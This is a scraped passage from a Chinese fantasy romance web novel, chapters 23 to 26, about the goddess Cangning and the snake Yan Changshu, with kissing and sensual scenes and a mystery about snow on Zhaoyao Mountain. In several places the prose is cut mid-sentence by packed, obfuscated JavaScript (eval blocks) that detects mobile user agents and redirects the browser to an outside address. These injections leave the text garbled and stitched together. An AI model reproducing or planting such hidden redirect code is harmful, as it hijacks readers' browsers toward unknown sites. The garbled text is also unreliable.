l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030016|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人都多些,也多了几分风流意趣。 他垂眸看了许久手上的春宫图,抬起头:“这是桃枝找的?” 被点名的桃枝当即收拾东西,识趣道:“我滚我滚。” 不过霎时,桃枝就没了踪迹,留下晏长书和苍宁各自面对着两张掐在手里的春宫图。区别是,晏长书手里的是黑蛇和佳人的,苍宁手里的,是腮红小鸟的。 晏长书看见苍宁手里的,淡道:“你喜欢这样的?鸟?” 苍宁:“……你这是诽谤。我只不过是看看它们的羽毛。” 晏长书把手里的图折起来,放在窗台上:“传闻青鸾羽色华丽,如凰如雀,更有杳杳一音,碧天云海的美名。” 苍宁得意道:“那当然了,论及叫声和羽毛,我族从来都是天地之间的佼佼者。” 他苍白面容泛着点笑:“可惜我还未曾见过。想来还没有到缘分。” 苍宁翘了翘无形的尾羽:“这有何难。倒是可以给你看看。” 对于小鸟而言,被夸赞羽毛永远能够感到身心愉快。 而且,苍宁对晏长书,远比自己预料的更宽容。 当她飞往屋檐,幻化回自己都久未回归的神鸟之姿,立于天地之间时,忽然感到一阵难以言表的畅快。她展开比月光还要皎洁的白青色翅膀,酣畅淋漓地在月下翱翔。 待落地之时,她啄了啄自己的羽毛,梳理再三,轻轻落回窗台上。一瞬间,院落中异彩流光,如拂月光。 晏长书黑眸灼灼发亮:“青鸾一族果然甚美。” 苍宁翘翘尾巴,变回人身,一把将晏长书勾进了屋内,学着春宫图的姿势,将他压在身下。 她的羽毛明显被风吹乱了,一向柔顺的头发也乱了,垂落在腰畔。 苍宁呼吸急促,身心尚在天地翱翔,摸到手掌下勃勃心跳声方有了些归于狭小屋子的实感。 她问了一个奇怪的问题。 “小蛇,你非鸟族,看见羽毛也会觉得漂亮吗?” 他沉沉嗯了一声。 “不会想要吃掉吗?” 据苍宁所知,森林里的蟒蛇大多会对鸟类进行攻击,吞下腹中。 晏长书低声道:“苍宁,你是青鸾,从来不是俗物。” “一点都没有?” 她的发尾扫在他身上,痒痒的,面庞那般美丽,让人难以忽略。 晏长书的喉珠滚动,眸色深暗,低哑道: “有。” 苍宁冷笑两声,挑眉: “小蛇,被我捉到把柄了哦。之前说的什么,变得正直阳光开朗善良,把我吃掉这种选项是杀人,杀人是不允许的,不能让我开心,知道吗?” 听见她的解释,晏长书霍然笑了一声。 “好端端的,笑什么?” 晏长书眼中氤氲着浅浅的光,伸出手,想要触碰她的面颊,又收回去。 “不是真的吃,苍宁。” “那是什么?” “一种相互的感觉,不用献祭生命,也不会因为融合变得痛苦,像是雨水找到湖泊,汇入江流。灵魂会同为一体。” “说得这么玄乎,你很在行?示范给我看看?” 晏长书沉默两秒。 “我其实没有……试过。” “没试过就敢乱说,大言不惭。” 他苍白的耳垂浮上极淡的红,像是饱满的石榴。 苍宁噗嗤一声笑了出来。 他以手作梳,划过她的墨发,有力的手指扶在她的脑后,将她慢慢拉下来,可是迟迟没有进行下一步。 沉默的空隙中,长久的对视就像灵魂的亲吻。 “第一步是什么?” 她的手撑在他胸膛上,用额头抵住他的额头,双眸弯着,有种恶作剧的爽快:“试试呀,小蛇。试着……让我开心啊。” 晏长书双眸沉沉,终于用力让她俯下身。 他仰头,如同凡人祈望神明。 吻住了她的唇。 23. 神魂颠倒 晏长书的唇瓣是温凉的,柔软的。 苍宁感觉到他用唇瓣轻轻蹭着,微微抿住她的下唇瓣,多情而温柔地轻碾着。整个过程没有任何让她感到不舒适的地方,似乎因为过于小心翼翼而让她失去了几分感觉。 苍宁余光看见了他微红的面颊。 她很努力地想,怪不得当初给他房里送女鬼的时候,他一点儿都不感兴趣。他口里的没试过是真的不会么。竟然……纯情到这个地步。 唇瓣几次贴紧,又几次分离。 苍宁指间的发随着他的动作缓缓挪动,带来冰凉的触感。 “小蛇,你……”苍宁兴致大起道,“你是不是根本不会。我教教你吧。” 晏长书黑眸一闪。 苍宁兴致勃勃地捏着他的下巴,回忆着春宫图上细致的图案,倾身覆了下来。 她无疑悟性极高,仅凭几张画面就摩挲出了流程。先是用唇含住他温凉的唇瓣,一点一点蹭得火热,试探着描摹他的唇线。 愉悦的感觉从脊骨传向四肢,泛起电流般的酥麻。 ……原来亲吻是这种感觉。 似乎只需要第一步,就足以达到灵魂交融的感觉。 晏长书接纳她的亲吻,接受这个原本纯情到蜻蜓点水的吻逐渐变得黏腻、滚烫。 他瘦劲的五指没入她的发中,苍白的眼尾泛着一丝惊心动魄的红。呼吸变得更加急促,一向温凉的掌心竟然有了灼人的温度。 尔后,他沦进所有感官被她包围的,令他神魂颠倒的万花筒里,难能自禁地发出一声短促但满足的低吟。 不知过了多久,或是仅仅在一个刹那,他黑眸微敛,看见了苍宁的笑。 一个清明的,犹如旁观者的微笑。 他几乎在一刻间从那个令他眼花缭乱的万花筒中挣脱出来。 晏长书用手掌捂住她的唇,阻止她孜孜不倦的恶作剧,俊美的面容泛着红。 苍宁却得了趣味:“怎么,不是这样吗?” 是这样…… 不,不是这样。什么灵魂交融,什么感觉,不过是他一人而已,真叫人…… 晏长书如叹息般笑了一声,眼角的殷红变得妖冶,黑眸中点点温柔波光翻涌着、下沉着,逐渐凝聚成深不见光的一池幽幽黑潭,而那些本掩藏在深处的,见不得人的疯狂渐渐冒了上来。 夜云笼月,洒下朦胧的光影。 晏长书眸中的火苗愈烧愈盛,在她一时兴起的戏弄过后,将她拦腰抱住,欺身而上。 四片唇瓣摩擦出炽热的呼吸,湿漉漉的唇瓣折射着情.欲的碎光,一点一点透出不满足来。他放在她脑后的手滑下去,双臂搂得她几乎喘不过气,巨大热情有如漩涡般将她一揽而下。 她所有的呼吸都梗在胸腹之上,热烫的血流在胸中翻涌,让大脑缺氧,无法思考。 在苍宁的记忆中,她头一次有如此激烈的接触,似乎真的体会到一丝要被吃下去的错觉。 直到真的无法呼吸,她才竭力拍开他的胸膛,大口大口喘着气。 晏长书沉沉笑着,眸光潋滟,像是饱食的兽。 苍宁心神激荡,想要伸手,不过这巴掌根本没有落到他的脸上。 她的手摸过他发红的耳垂,一点点,烫得惊人。 她未曾想到晏长书有这样的激情,还以为他向来是沉冷,知礼数的疏离。 她对他的眼睛的很感兴趣。她喜欢他眼底沉沉的疯劲,也喜欢他会发烫的耳尖,蚀骨的激情。 像是有趣的玩具。 “……第一步先试到这里。” 她的声音很哑。 苍宁调整了一下嗓子,听见晏长书更为低哑的声线,像是沉声的钟,偏生还带着一丝平静的浪荡: “让你开心吗?” 苍宁没什么不好意思的,哼哼一声:“挺开心的。” 苍宁再一抬眼,他眼中炽热的危险已然淡了下去,只有眼尾的赤红还留有方才暧昧的余韵。 她后知后觉地看着他。那些让她在意的反应和表现…… ……原来全靠刺激? 苍宁心里冒出五六七八个点子,弯着眼笑:“好了,既然这么开心,我允许你说一点想说的吧。世界是假的,然后呢?” 她就像一个酒足饭饱的昏君,肆意绕着晏长书的发尾,咬了一口,懒懒的,等着别人吹枕边风。 晏长书道:“这个世界的确是虚假的。” “嗯哼。”苍宁表示在听。 “这是你的世界,苍宁,一切都以你为中心,”他慢慢说,“任何合理的,不合理的部分,只要你一个意识,就会帮你填充故事的细枝末节。你不能一直待在这里。” “那你也是假的咯?” “我是真的。” 苍宁的手探进他的衣角:“摸起来的确是真的。” 她弄痒了他,而她装作一无所知: “那桃枝是假的吗?我能不能亲他试试?” 晏长书按住她作乱的手,想说的话憋在口中,眼中浮现出苍宁钟意的那种神采,艰 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苍宁闻见他身上有种若有似无的香气,淡淡的,勾着她。 她把玩着他的发,漫不经心地将他的发尾和自己的发尾束在一起,把他讲的内容当成催眠音,打个哈欠的工夫,两束头发都快编成了成型的琵琶结。 “苍宁——” 他的声音变得严肃,“别睡。” 苍宁松开手指,两人的头发还纠缠在一块儿。她伸手,地上的春宫图飞到她手中,她捡起来琢磨:“也行,不睡觉。我看看第二步是什么。” 图上那页,腮红小鸡已经过了交.欢的步骤,进入互相啄毛梳理毛的流程。苍宁看见图中被梳理得漂漂亮亮,规规整整的羽毛,想起了梳毛的快.感,难免心动。 晏长书还在坚持输出:“你从未相信我。” “相信相信,”苍宁哄他,“我很相信你的呀。” 她瞅着晏长书一脸不信的模样,又陷进他眸里星星点点的光里去,一个挺身坐起来,扔给他一把梳子。 “相信你才会让你梳毛哦。” 她指了指自己的头发,“你帮我梳。” 晏长书握着篦子:“……” “小蛇,你让我很开心。”苍宁说,“至于这个世界嘛……我们为什么不值得开心一点呢?去他的世界吧。” 24. 蛇鸟一窝 篦子慢悠悠地在她发间穿过,苍宁很快睡着了。 这回她没有做奇怪的噩梦,反而是做起难以启齿的春.梦来。 梦里她喝多了酒,压着小蛇亲了好久,事后昏过去,还因此踹了他一脚。她迷迷糊糊听见梦里的小蛇跪在床榻前道歉,叫她小娘。 苍宁暗道这两个字够有禁忌感。小娘,也不知道在床上喊来会是什么光景,什么模样。看来梦里梦外晏长书都逃不过伺候她的命。 谁叫他伺候得好呢。会伺候就多伺候些,劳苦功高,她可能会给点甜头。 苍宁戏谑地想着,翻了个身,摸到温凉的鳞片一点点从她手下滑过去。 她闭着眼揪住了他的身子。梦还在延续,现实的感知也不落下,她下意识捏着蛇蛇的尾巴,攥在手心,去调戏小蛇掀起的那块皮肉,把小蛇惊得够呛。 他挣扎着,但是力气不够大,好一会儿才顺着她作恶的腿溜走。 苍宁闷笑一声,意念流转,从温软的梦中苏醒,伸了一个大大的懒腰。 她的头发梳得顺滑工整,鬓角整理得干干净净,连衣裳都是好好的。 手里没有那截挣扎得用力的小蛇,但是手腕子上又多出两个小小的印记。苍宁一看便知道,晏长书趁她熟睡时咬了她。 这家伙又偷偷藏不住了。她有点想教训他。 眼见晏长书不在她跟前,她猛地一起身,穿了鞋赴门而出。 还未到门口,晏长书就从床榻后喊她:“去做什么?” 苍宁转头一看,晏长书就坐在房间角落的案前,拿着什么书册看着,一副岁月静好的模样。 她状若无事的回转身来,随口道:“看看桃枝是不是在偷懒。你呢?” “等你醒来。”他眼皮都没有抬一下,“现在看来,我不必等在这里。我叫桃枝来伺候你。” 晏长书的语气平淡,翻书的劲儿是一点不平淡。他像是和书有仇似的,将书撵到怀里,抬步离开。 苍宁张手拦住他:“欸欸欸,你走那么快做什么,有没有规矩?” 晏长书沉冷道:“我如何没规矩?” “咬我的是你,亲我的也是你,现在拔腿就走的也是你。我一醒来你就凶我,你什么态度?”苍宁哼了一声,抱着双臂道,“真不如我梦里那个你,乖巧懂事,别提多可爱。” 晏长书终于抬眸瞧了她一眼,追问道:“梦里怎么了?” 苍宁不满道:“你倒好,关心起一个梦来了。” “梦见什么了?” “梦见——”苍宁随口说道,“梦见你跪在床上亲我,一口一个小娘叫得可甜啦。你也知道,神是不会做梦的,说明这是预示……” 她话还没说完,晏长书脸色更加不善。 不光是脸色不善,气色也差,更加苍白,好像天池边几欲融化的雪。 苍宁收了散漫的神情,问道:“你怎么了?” “我没事。” 叮铃一声脆响。苍宁愣了一下。感觉有段时间没有听到这个声响了。 “你是不是……” 晏长书背着她,立于窗前,抢过她的话头: “有些冷。” 他说的是真的。 苍宁望窗外望过去—— 两扇精致的缠枝纹窗正开着一角,斜斜地飘进几瓣雪。 四季如春的招摇山,下雪了。 - 苍宁很少看见雪。神界永远四季如春。 所以,当飘飘摇摇的雪跌撞进她温热的掌心时,她仔仔细细看着六角雪花在她掌心融化。 漂亮归漂亮,但是招摇山下雪,意味着变故的发生。 刚开始几日,她还觉得是普通的天气现象,也许是哪个神仙在渡劫也说不准。后来,雪越下越大,她开始怀疑这个在渡劫的神仙就是她自己。 可是,她已经经历了成神,没有必要再渡无谓的劫。倒是晏长书,之前只是看上去苍白,现在是越来越惨白,越来越有鬼感。 ——没有说鬼不好的意思。 久而久之,苍宁开始怀疑自己的养蛇技巧实在不行。嗐,明明之前还自诩有养蛇天赋来着。 因招摇山的事,苍宁还特地去神界兜了一圈。上头倒还是好好的,一派欢天喜地。花神还在大张旗鼓地举办百花宴。 在花神起舞之时,她看见司命星君等在一旁,目光凝在她身上。 苍宁抄起两壶百花酿,顺手打了个招呼。 司命星君越过人群,对她说:“大人怎么有空来神界?” “招摇山下雪了,还以为神界在搞什么名堂。” “有何发现?” 苍宁笑道:“大发现。大发现。花神步步生莲,绝妙之景,雪落又有何要紧。” 司命星君敛眉道:“招摇山不逍遥,大人何不留在这儿。何必回招摇山。” “嗐,说来话长。”苍宁笑道,“养了条粘人的蛇,身子骨不好,平日里若不宠着,哪天死在半道也未可知。我得好好看着才行。” 司命星君颔首:“招摇山雪日,想来是美景。” “星君知道为什么吗?” 他抬起酒杯的手在空中一顿,笑了笑:“无人知晓。” 一杯饮罢,他给苍宁多捎了两壶百花酿:“今年的百花酿味道甚好,拿回去一起尝尝吧。” 苍宁笑道:“谢了。”她走了两步,回身道,“星君成神后可做过梦?美梦、噩梦?” 司命星君面色不动:“未曾。大人近日做梦?” “什么梦都做,光怪陆离,连司命星君都变成过痴情之人,对花神穷追不舍。” 司命星君道:“呵,确实有趣。想来是大人太累了。招摇山是神山,能感知神明气息,大人精神不济,许会造成影响。不若早归饮酒,告慰身心。” 苍宁:“嗯……也罢。” 回到招摇山时,雪落山间,白茫茫一片。 初见萧瑟凄然,但看小屋袅袅炊烟,又别有一番滋味。 晏长书怕冷,之前初初来山间,桃枝劈的柴火总算是派上了大用场:烧水、暖榻、将屋子里弄得暖暖和和。 苍宁扔给桃枝一瓶酒,口中呼出白气,问道:“你头上的花儿还没动静?” “闭花不见,怕冷吧。” “去隔壁厢房暖暖,别把花儿平白无故冻死了。” 桃枝嘿嘿笑道:“前辈嘴上狠,实际上却很温柔呢。” “再笑打死你。”苍宁作势伸手,“小蛇呢?” 桃枝努努嘴:“里头。”他狗腿地补上一句,“不过是在前辈屋里。” 苍宁瞥他一眼。 “前辈是不是在搞先婚后爱?” “他这辈子哪里和我有婚?” “你们是神仙,不能搞人间那套呀。” “怎么不行,他都不知道自己是晏长书,自然也不会是和我有婚约的鬼王。” “好像也是……”桃枝疑惑道,“所以,不是一个人的原因,本质上是因为失去了记忆?如果他有记忆呢?” 苍宁哼声道:“那我就把他杀了,再把你杀了给鬼王垫背。” “前辈没有打真心里觉得郎君会改变啊。” “只要鬼王存在,就不会有任何改变。”苍宁下意识说。 “前辈,不能传播负能量啊,我们是神仙,要正能量,要看见正面的事情,要摆正自己的心态,要正!” “没有歪哪来的正?再说了谁规定的我这就是歪?你?就算是你规定的,你又算什么东西?” 桃枝撇嘴:“我这不是……照本宣科嘛。” 苍宁瞥他一眼:“别说这些了,你快把酒热滚些,自己留一壶,不必全拿来。” 说罢,苍宁拍干净头发和肩膀上的雪,推门而入。 屋内暖意四起,窗户关得严严实实,光线昏暗,偶有几缕风透进来。苍宁不觉得冷,可是床榻上,放下了床帘子,盖着三四层被褥的晏长书,似乎还是冷极了。 按说,晏长书不是人类,不应该怕冷的。 苍宁三两下掀起窗帘,问道:“小蛇,醒醒。” 被褥里的人一动不动。 苍宁摇了两下,仍是不见他动作,便掀开被褥。 晏长书并未化成蛇形,而是以人身蜷在床榻之上,肩膀处衣襟滑落,墨发未束,有几缕黏在汗津津的脸庞,苍白的侧脸犹如乌云蔽月,半遮半掩。 他闭着眼睛,缺乏对外界的反应。苍宁隔着中衣摸到了他的手,像是河底的沉石,僵、滑,有种令她脊背上汗毛直立的冷腻感。 她心中滑过一丝不为察觉的怜悯,轻声唤他: “小蛇?” 她紧握他的手,再唤他:“小蛇,小蛇,快醒醒。” 轻盈温暖的力量送她手心缓缓输送而去,晏长书牢牢抓住忽而远至的温暖之物,死死的,本就发白的苍白的指甲因为用力而变得透明,像是被抢救回来的溺水者。 苍宁见他终于有些许反应,感觉他体内有旁人布下的术法,仔细一探,竟觉得和自身的术法融为一物,还冲撞着极为强烈的神鬼之气,包括那颗属于鬼王的魄丹—— 晏长书身体里如何能容纳如此磅礴的神明之息? 她虽有不解,但仍是为缓解他的难受而想,倾身而去,撩开他的鬓发。 “你还好吗?” 也许是苍宁的声音过于温柔,也许是苍宁的力量在他体内的试探太明显,他倏尔睁开眼,眼中骤然浮现出两个赤青色的卍字。 苍宁对上他的视线,心咯噔一跳,方才输送过去的暖流尽数流返,胸中仿佛有一股灼灼的气流在五脏六腑中流动,令她神志震颤。 霎时间,天清地明,远至花神的舞步,那一朵朵莲花,还有招摇山的每一株花草,都走马灯般出现在她眼前。 雪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我真的没有这么做过吧……” “有的,”他淡道,“你忘记了。” 听罢,苍宁脸皱成一团,不敢置信地上下瞟了他两眼——还有这种事?不过,如果是她的话,可能也不算奇怪。 言灵术本是个普通术法,没什么大不了的,可他这般勾人似的,挠得苍宁心里痒痒的,迫不及待想试上一回。 她撑着手在他身旁,双眸亮晶晶道:“小蛇,快把衣裳脱了。” 他一怔,脸更红:“不是……不是这种听话。” “那是哪一种?”苍宁随口乱试,“不涉足鬼界,每天好好学习,德智体美劳全面发展?给我一千万,让我暴富?跪在床上喊我小娘,求我责罚?把自己用红绳绑起来,露出口口口口让我看?” 她的话越到后面越发离谱,更离谱的话只能显示出口口口口。 晏长书未曾直面过如此放浪形骸之语,只得红面咬牙:“苍宁,你——你怎么在想这些东西?” “都不行吗?” 苍宁看上去比较失望。 她观察晏长书半晌,二话不说,直接上手拨开被褥一角,里三层外三层扒开了他的衣裳,强迫他露出较好瘦劲的肩膀和腰身。 晏长书本就浑身无力,指骨扣着她的手臂,像是话本里备受欺辱的书生,有宁死不从之意。 苍宁噗嗤一声笑出来:“你别紧张,你浑身都是汗,洗个热水澡吧。我看你一个人弄得够呛。” 他喘着,病态的红潮遍布脸颊,浑身滚烫。苍宁再往下扒拉,就看见他的蛇尾从被褥中溜出来,在她的小腿处自动缠上两圈,尾巴尖打着颤。 他眸光一闪,拉起被褥,但暴露情绪的尾巴仍旧还停留在苍宁的腿上,缓慢地缠紧,拉近,裹出一道浅浅的肉痕。 他解释道:“……我到蛇蜕之日了,身体发烫是正常的。” “哦~” 苍宁这声“哦”千回百转。怎么听都有深意。 正巧,桃枝捧着烫好的酒从外头进来,兴高采烈道:“前辈!好消息好消息!外头的雪化了,又是晴日头了!” 苍宁往开着的门缝看过去,果真晴空万里,再无雪色,一如昨日。 她想到方才的卍字走马灯,回头看向晏长书,短短的沉思过后,让桃枝将酒水放在床头,去烧一桶热水来。 “早就烧好啦,就等前辈呢。” 苍宁笑道:“是小蛇。” 桃枝大惊:“你们、你们要鸳鸯戏水?” 苍宁侧眸道:“两只鸟一起行动可能叫鸳鸯。我这鸟和蛇一起能叫鸳鸯戏水吗?” “……飞鸟惊蛇?蛇鸟一窝?” “出去闭嘴滚出去!”苍宁将桃枝一脚踹出门,忘了自己另一脚还被晏长书缠着,歪着身子挂在了床沿。 她爬起来,问道:“你衣裳脱干净没有?” 话音还未落,她一个恍神,被腿上缠着的蛇尾直直拉进了窝! 苍宁低呼一声—— 这下好了。 真成蛇鸟一窝了。 25. 缱绻旖旎 尾巴一股脑把苍宁卷到被子里,已然不满足只勾着她的腿,自主自动慢慢爬到她的腰间,将她拉到跟前,尾巴尖满意地打着摆。 腰腹上的触感不再那么凉,苍宁难得顺从地趴在他身侧。 她闻见晏长书身上有浅淡的香气,像风勾动的弦,有明显的来源痕迹。 昏暗的光线下,她的发丝垂落在他面颊,苍宁用手拨开那些柔顺的头发,发觉他面颊上出现了三两片黑鳞,似乎是化蛇的痕迹。 这个姿势并不舒服。晏长书看上去也不舒服。 眼看着尾巴越来越不听话,一道又一道挨上来,晏长书沉默后,稍作解释:“……有时它会自己反应。” 缠紧感兴趣的。尾巴会先一步反应。 晏长书这么说: “……给我点时间。” 他言简意赅,苍宁摸着勒住她腰身的尾巴,却说:“我的尾巴就不会这样。你们蛇真的很奇怪。” “哪里……奇怪。” 苍宁挑眉:“你该不会想把我吃了,补补营养吧。很明显,你快化回蛇形了。” 尾巴尖得意地窜下去,在苍宁腿侧摇摆。苍宁好奇地伸手去摸他面上的黑鳞,光滑,冰凉,闪着赤青色彩,她不觉得可怖,还想着翻开鳞片看看,不过晏长书略一偏头,躲过了她的手,露出红红的耳垂尖。 那股莫名其妙的香气变得馥郁,她拧眉动了动,觉得自己的两条腿莫名感受到了两道炽热的存在。 晏长书本没使劲儿的手臂忽然上了劲,拦腰搂住她,哑声道:“你别动。” “你有这种想法吧,小蛇。”苍宁咬他耳朵,“你之前就说过想把我吃掉这种话。” “没有。” 尾巴又紧了紧。 空中忽然而至的脆响,就像是某种令人深思的讯号。多来几次,苍宁已经可以猜出所谓的言灵究竟有何作用。 如果这真的是她在其他情况下有意识布下的阵法,大约她一直对他克制的事实有所好奇。 他为何要克制?在十足的能力面前,一切唾手可得的时候,哪怕十次有一次,总是难免放纵。可在无法改变,或是难以一时撼动的轨迹上,克制却是无可奈何的必行之事。 苍宁觉得有趣,扳过他的下巴,去看他脸上的潮红,欣赏他眼底浓浓的沉色,想要将她吞入腹中的危险野性,却有意克制的挣扎。 她贴近他,嘴唇擦过他的唇瓣,回忆起那软而香的甜味,总觉得再来百遍也不够,但她也克制住了一部分戏弄的心思。 她笑眯眯地问:“小蛇,你想吃掉我,是因为讨厌还是喜欢?” 他张了张唇:“……没有讨厌。” 不令人满意的回答。 苍宁努嘴,点点头:“那是喜欢是不是?” 他迟疑地点点头。 令人觉得有意思的答案,不令人满意的迟疑。 苍宁道:“你犹豫什么?” “怕你不需要。” “我不需要我自然会告诉你啊。”苍宁心中有种揭晓答案的快乐,哼哼道,“小蛇,既然你很喜欢我,是不是不会对我说谎?” “……” “你为什么又沉默。” “我无意说谎。” “那你说说看,你是生来就会用卍字对不对?” “对。” “你看,”苍宁指着自己的眼睛,赤青色一闪而过,“我呢,因为夫君的原因,也得到过卍字的秘法。我本来随身携带他的魄丹,现在虽不在身上,也能为我所用,你既然也会,你知道为什么吗?” 晏长书面无表情道:“因为这跟魄丹没关系。” “哦……” 这样显得她很无知欸。 可恶。 苍宁干脆调整了一个合适的姿势躺在他的身上,掐住他的脸,挤出脸颊肉,把那英俊又面无表情的面庞挤弄得滑稽。 像是他无声赋予她的某种乱来的权利。 “那你刚刚是在使用幻术?外头冬月化春,你改变了季节。” 原本,问句问到这里,已经结束。 言语长久的停滞下,只有炽热的呼吸还在延续。 苍宁心跳平稳,不疾不徐。 她手下的心跳却跳得极快,如鼓如雷鸣般。 苍宁盯着他的神情,不愿意错过任何一个细微的表情。纤柔的五指滑进他的中衣,贴在他心口的位置。 她原意不过是试探他里的真假,没有半分挑.逗折磨之意。哪知自己实在是疏于与男人接触,不知这个角度擦过去会径直碰到那一点,更不知晓这个会惹得他出这么大的反应。 晏长书一滞,掐住她腰身的手极为用力,挤出她一声不做防备的温软嘤咛。她感觉腿侧的东西勃勃野心,蛇尾将她缠得更喘不过气——这次是真要喘不过气来了。 他的呼吸倏尔变得极为滚烫,扫在她的下巴处,带来湿漉漉的水汽,像是湿热的南风。细小的汗珠很快遍布全身,让她意识彻底陷入狭小、黏腻而暧昧的环境中。就算她不知所措、未曾体验,也绝对不可能在他怀中置之事外。 “……宁宁。”他的声音低而急,叫出渴求已久的两个叠字,隐秘而亲密。 苍宁仰起头,用另一只手按在他的面庞上,不让他去吻她,另一只手偏生爱惹事,又碰着了一下,叫他颤抖,激得他在她手心留下更加狂热的吻。 香甜的气味和唇舌的迷恋使她心中泛起堪称柔情的思绪,她透过五指的缝隙,看见他黑如深潭的眼底中,那头蛰伏已久的猛兽,即将要从克制的围栏中狂奔而出。她的眼睛亮闪闪的,有种说不清,道不明的好奇和满足。 “宁宁,求求你,”他抱紧她,将她深抱入怀,埋头在她脸侧,低声哀求,“求求你了,求求你。” “求我什么?” 他的声音哑透了—— “求求你。” 他所求之物唯有她能给予,她对此事实予以微微一笑。只要他求她,她就会考虑答应。 苍宁掌控着他,可她没有想到几乎把每一寸空气蒸腾的时候,他的请求是让她离开。 桃枝敲敲门,将浴桶搬进来时,两个在被窝里的人把喘息都停了下来。待桃枝利落识趣地走出去,阖上门,苍宁长久地凝睇着,问道:“小蛇,你会对我使用幻术吗?” 晏长书眸色深浓:“……我不想的。” 他们的唇只隔着浅浅一寸,却仿佛所隔山海。 我不想的。 他喃喃。 - 苍宁出来的时候,把晏长书打昏了丢进了木桶子里。 那厮被热潮弄得快昏过去,她还往里头加了一桶冷水。好在蛇是安安静静趴着了,没有什么痛苦之状。 苍宁想起小鸟们十分偶尔的时候,也会有这种发热期。通常是求偶的本能。升为灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030019|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽,则会淡化兽的欲求,魄丹越稳固,越不被欲.望侵扰,潇洒自在。不过,若是遇见难得中意的,偶有那么一二回,倒也可以理解。 屋外春暖花开,没有半丝冬月的寒冷。苍宁躺在屋檐上,似闭目养神,若有所思。不过半晌,待天空中的渡鸦叫了一声,她坐起来,从屋檐上跳下去。 她捏着方才的热酒沿着小屋走了一圈,倒上规规整整的圆。 桃枝过来凑热闹:“前辈怎的不喝?” “你爱喝给你喝些。”苍宁食指一探,杯中的酒溅到桃枝面上。他哎哟一声,迷了眼睛,使劲儿擦,苍宁闷笑一声,又给他头上笑话浇灌了些。 桃枝埋怨道:“前辈,花草树木不能喝酒,会死的。” “你是前辈还是我是前辈?” “你,不,您……” “很好。有事禀报,无事退下。” “我要禀报。” “说。” “头上的小花有点动静,但不多。”桃枝道,“感觉她有点害羞。可能是因为我这张帅气的面庞——” “呃好了可以退下了。煽情的部分不听。”苍宁刚摆手,桃枝努努嘴,她又拽着桃枝的领子道,“我问你啊,你好歹也是个男人……” “前辈我就是男人啊什么好歹也是……” “你现在闭嘴啊别不识好歹。” “……” 苍宁用手肘扣住他的脖颈,压制道:“你说。如果啊,我不是指晏长书。我在话本里看见的。如果,有位娘子,问郎君,‘你是不是喜欢我’,那位郎君的回答,是‘没有讨厌’。这个是喜欢还是不喜欢?” 桃枝斗胆抬眼道:“……那位娘子是喜欢郎君吗?” “这个没有吧。” “那这个答案很重要吗?根本不重要吧。” 苍宁点头:“难道你摸小猫咪的时候,不希望她喜欢你吗?” “嗯……嗯……”桃枝进行了长时间的思考,“我觉得,不讨厌就是不喜欢。有点但是不多,接近于零。” “所以郎君另有所爱,才会产生某些冲动的时候,叫对方离开。” “不愧是前辈,分析技巧炉火纯青。”桃枝狗腿道,“男人对喜欢的女子怎么可能忍得住不表白!像这位郎君这样,肯定是不喜欢那位娘子啊!说不定他就是另有所爱嘛,就是,等着和自己喜欢的人共度春宵。这是什么话本啊,是我之前给前辈找的?” “嗯。” “前辈别看那些了,太憋屈,我给前辈找个上天入地打妖怪的,别提多快意潇洒了!呃……前辈你很在意吗?其实这个郎君也算有良心吧,没有乱来。” “呵呵,我在意?”苍宁冷笑一声,“我在意?我是在想凭什么。” 怪道那个报谎器铃声没有响呢,晏长书的确没在说假话。可是—— 她这么好,晏长书凭什么不对她动心啊? “呃……感情嘛,很难讲的。” 苍宁哦了一声。 “前辈,你的脸色不是很好。” “有吗?” 苍宁抿了一口酒,皮笑肉不笑道:“我挺好呀。” 她挺好的呀挺好的呀挺好的呀。 桃枝:“前辈虽然生气,但咱别浪费好酒呀……” 苍宁笑道:“酒蒙子,你能喝几两酒?我才不生气,你一边边儿去,有事来报就是了。我倒酒,是另一码事。” 26. 风起云涌 苍宁对许多事都漠不关心,又喜欢随口讲些没边际的话,旁人偶会觉得她记性差。 自然,旁人的看法她不怎么在乎,她自己是有分寸的。 不过真要回忆起过往的点点滴滴,苍宁确实觉得纷乱嘈杂。 比如,她就记不太清楚自己爹娘。大约是了不起的青鸾一族,听闻他们最后死在三界大战中。她是被西王母在三危山抚养长大的,算是放养。 不知过了几个昼夜,也不知这些昼夜有多长的时日。苍宁缓慢收回自己漫游天际的神识后,小屋的山坡旁出现了一个石狮子,怪模怪样,不似正经狮子。 苍宁食指一弹,一颗石子落到石狮子头上,把他痛得直跳。 “貔大虎,你不去人间偷香火,来这里干什么?” “啧,乱七八糟!这个世界乱七八糟!昨天好不容易找到个厉害女鬼,想换点纯度高的好金子,条件都商量好了,结果话说到一半那叫李漱的被什么东西卷走了!真是乱七八糟!本大爷气得准备睡觉,谁知一觉睡到你跟前来了!” “这么说你不是来找我的。” “啧,当然不是。”貔大虎还维持着石狮子的模样,从兜里掏不出烟杆子,倒是掏出了一个石狮子最爱的球球,他随手一扔,地面砰地一晃,球骨碌碌滚到山下去,消失了。 “哦豁。”貔大虎露出石头牙齿,炯炯有神的双目和语气截然相反,没有露出半点遗憾,“你家后花园被我砸了。” “那你来得正好,将功补过。” 说时迟,那时快。苍宁跳下来,一掌掏空了他的心窝! 貔大虎目眦尽裂,吓得连连后退。 苍宁在他身后舒展五指,笑道:“死石头这么硬。” 